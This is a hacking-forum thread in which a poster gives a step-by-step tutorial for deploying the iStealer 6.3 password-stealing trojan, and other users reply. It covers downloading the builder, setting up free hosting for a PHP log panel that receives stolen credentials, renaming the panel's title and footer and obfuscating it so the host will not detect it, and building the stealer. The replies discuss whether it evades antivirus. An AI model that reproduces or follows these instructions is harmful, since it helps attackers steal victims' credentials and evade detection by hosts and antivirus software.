[Joey Tribbiani]

Hey !

Today , i am going to teach users how to setup istealer 6.3 Legends , how to get a free hosting at SPAM and how to prevent getting banned at SPAM (by FUDing your php file from SPAM)

Also, thanks to CATMAN for the pics. I don't take credit for the pics (except for the last one).

Rest assured, the entire tutorial is written by me and took an hour to write and format. So please reply to keep this topic alive !!! ✌

So, lets begin !

STEP 1 :- Download iStealer 6.3 Legends

Here is the download link :-
http://goo.gl/Twhgo

It WILL show a virus , but its just a false positive since this is a stealer software, so don't worry.

A virus scan if you still need it :-Spoiler (Click to View)
File Info

Report date: 2011-02-26 06:46:49 (GMT 1)
File name: istealer-6-3-legends-exe
File size: 1712128 bytes
MD5 Hash: 3e6dde21e8d59ecd96ebb077a5b4ae3d
SHA1 Hash: 951f04364f97007021b17664a8ddea32b52ad126
Detection rate: 14 on 16 (88%)
Status: INFECTED

Detections

a-squared - Trojan-PWS.Win32.Dybalom!IK
Avast - Win32:Malware-gen
AVG - PSW.Generic8.YN
Avira AntiVir - TR/Spy.Gen2
BitDefender - Gen:Trojan.Heur.VP.OD0@amglpWk
ClamAV - Trojan.Spy-75681
Comodo - TrojWare.Win32.Trojan.Agent.~KRV
Dr.Web - Trojan.Siggen1.39351
F-PROT6 - W32/Trojan2.MMBV
Ikarus T3 - Trojan-PWS.Dybalom
Kaspersky -
NOD32 - Win32/TrojanDropper.VB.NPB
Panda -
TrendMicro - TROJ_MDROP.ZV
VBA32 - Trojan-PSW.Win32.Dybalom.cwj
VirusBuster - Trojan.DR.VB!bKKvqH8AIGs

Scan report generated by
NoVirusThanks.org

STEP 2 :- Making a free account at SPAM.com

[img]http://img710.imageshack.us/img710/5086/49442116.jpg[/img]

[img]http://img231.imageshack.us/img231/1136/66303407.jpg[/img]

• Now , the account is made. (Confirm it from your email)
  


• Now, login to the account and go to the Control Panel (CPanel)
  


• Scroll down to MySQL under "Software / Services".
  

[img]http://img816.imageshack.us/img816/209/lol4w.png[/img]

• 
  


• Follow this picture now :

[img]http://img831.imageshack.us/img831/3296/lol1u.png[/img]

• 
  


• Now, SAVE the info you receive about on the next page in notepad.

STEP 3 :- Setting up index.php file (Php Logger)

• Extract iStealer 6.3 rar file and after that extract PHP Logger rar file.
  


• You will see PHP Logger folder.Open it.Now you see two files.
  index.php
  style.css
  


• Open index.php using notepad and follow this pic :

[img]http://img841.imageshack.us/img841/9519/nothingk.png[/img]

To remember :- The admin and admin which you entered in $username and$password line is the password to see your logs.

STEP 4 :- Making your index.php undetectable by hosts like SPAM

• 
  


• Open index.php and change the following lines
  
  PHP Code

  
<?php 
$html  = "<html><head><title>iStealer 6.1 Legends Log manager - "; 

  to
  
  PHP Code

  
<?php 
$html  = "<html><head><title>My Personal Software manager - "; 

  
  and
  
  
  PHP Code

  
<?php 
$footer  = "<div id='footer'>iStealer 6.1 Legends - Kizar Labs 2009</div></div></body></html>"; 

  to
  
  PHP Code

  
<?php 
$footer  = "<div id='footer'>Backup manager - Backup Script 2010</div></div></body></html>"; 

  
  


• Now download and install this software : TrueBug PHP Obfuscator & Encoder. (Google for download link, trial version is also ok.)
  


• Open it and go to "Files and Folders"Spoiler (Click to View)Source Folder - select folder containing your PHP scripts, click on the browse button beside the folder name box.
  Target Folder - select folder where the obfuscated and encoded files will save to, click on the browse button beside the folder name box.
  Select files to be obfuscated/encoded, click on check-box front of filename (index.php) in the file list-box
  


• Now to go "Obfuscate & Encode" Set the output options as "Obfuscate & Encode" and check EVERYTHING and click "Process" then press "Close" button and also close program.
  
  


• You will find an obduscated index.php in the output folder which you selected. Now remember this is the index.php which you have to upload to SPAM , not the original one.
  

STEP 5 :- Uploading Files (index.php and style.css on SPAM)

• Go to your Control Panel in SPAM
  


• Now, Go to File Manager. If it asks for password , see the "View FTP Details" which appears beside File Manager in Control Panel.
  


• Now to go public_html. Then click on "New dir". Enter the directory name like hobby or work or passion or something like that.
  


• Now go the the directory you just created and create further 2 sub-directories inside it as you did in the previous step.
  


• So it will be something like this public_html > hobby > test and work
  


• Now go to any of the last 2 directories you just created and click on the "Upload button" select index.php and style.css and then click the Tick button to upload.
  


• Go back to the root folder and tick the box beside public_html and then click on the "Chmod" button and follow this pic :
  

[img]http://lulzimg.com/i13/62f864.jpg[/img]

STEP 6 :- Building your iStealer

• Run the iStealer 6.3 Legends.exe (as admin if you use vista/7 )
  


• Enter the link to your index.php file in the Url field.
  For example :- http://barney.site50.net/hobby/work/index.php
  


• Click on Test Url. If it shows success , then you have set up everything correctly and if it shows some error then there is something wrong you have done in the uploading part or the link was not proper.
  


• Now click on Build.
  


• To access your log , go to your web browser and enter the link to your index.php file.
  

CONGRATS ! Your server is now ready !! 😁 👍

Please leave a reply if you liked this tutorial to keep the topic alive. It will be highly encouraging for me.

Regards
Joey Tribbiani

[FLMusician]

Prety nice tutorial, only part I didn't like was how you explained the top information in the index.php such as the database username and such.
Thought the Obfuscate part was nice,
:D

[SIM-459477]

nice tutorial man... keep it up,but that will not be Ud

[Joey Tribbiani]

I never said anything about UD. Its UD for your php file not for your server.

[Joey Tribbiani]

I have given credits to CATMAN for images- all the words and procedures are written by me. There is no copy-paste man there man.

[hav0c]

The istealer Builder scan results looks suspicious.
If anyone wants a clean version, they can get it from my signature.

[Joey Tribbiani]

My version is very much clean. Don't try to advertise. Instead its the same link as CATMAN has used and is also used on many popular istealer tuts.

You are just blind blaming. Its a stealer ! It has to show a virus!

[StuffSneak]

The encrypting part is good. That should help everyone.
nice tut mate :)

[Joey Tribbiani]

^ Thanks dude ! :)

Btw , 300 views and only 7 replies ? :/

[Haxwel]

Thanks mate. Nice tutorial. I hope this iStealer is clean :)

[Joey Tribbiani]

Yes, it is clean. Don't worry :)

[CyB3R PoliCe]

Well your Stealer Is not fud here is scan Results :
http://vscan.novirusthanks.org/analysis/...uZHMtZXhl/

[Joey Tribbiani]

Well your Stealer Is not fud here is scan Results :
http://vscan.novirusthanks.org/analysis/...uZHMtZXhl/

Please read the post. It will show a virus. Why would it be FUD ? Its a istealer.

Its the same link which CATMAN had posted. His tutorial had hundred pages of replies.

[Breakbot]

Give credits for the encryption part for the guy who already made the tutorial here.

[Joey Tribbiani]

Give credits for the encryption part for the guy who already made the tutorial here.

I don't remember who it was or else i would have given credit for sure :)
I wrote 90% of the encryption steps myself and rest from google search.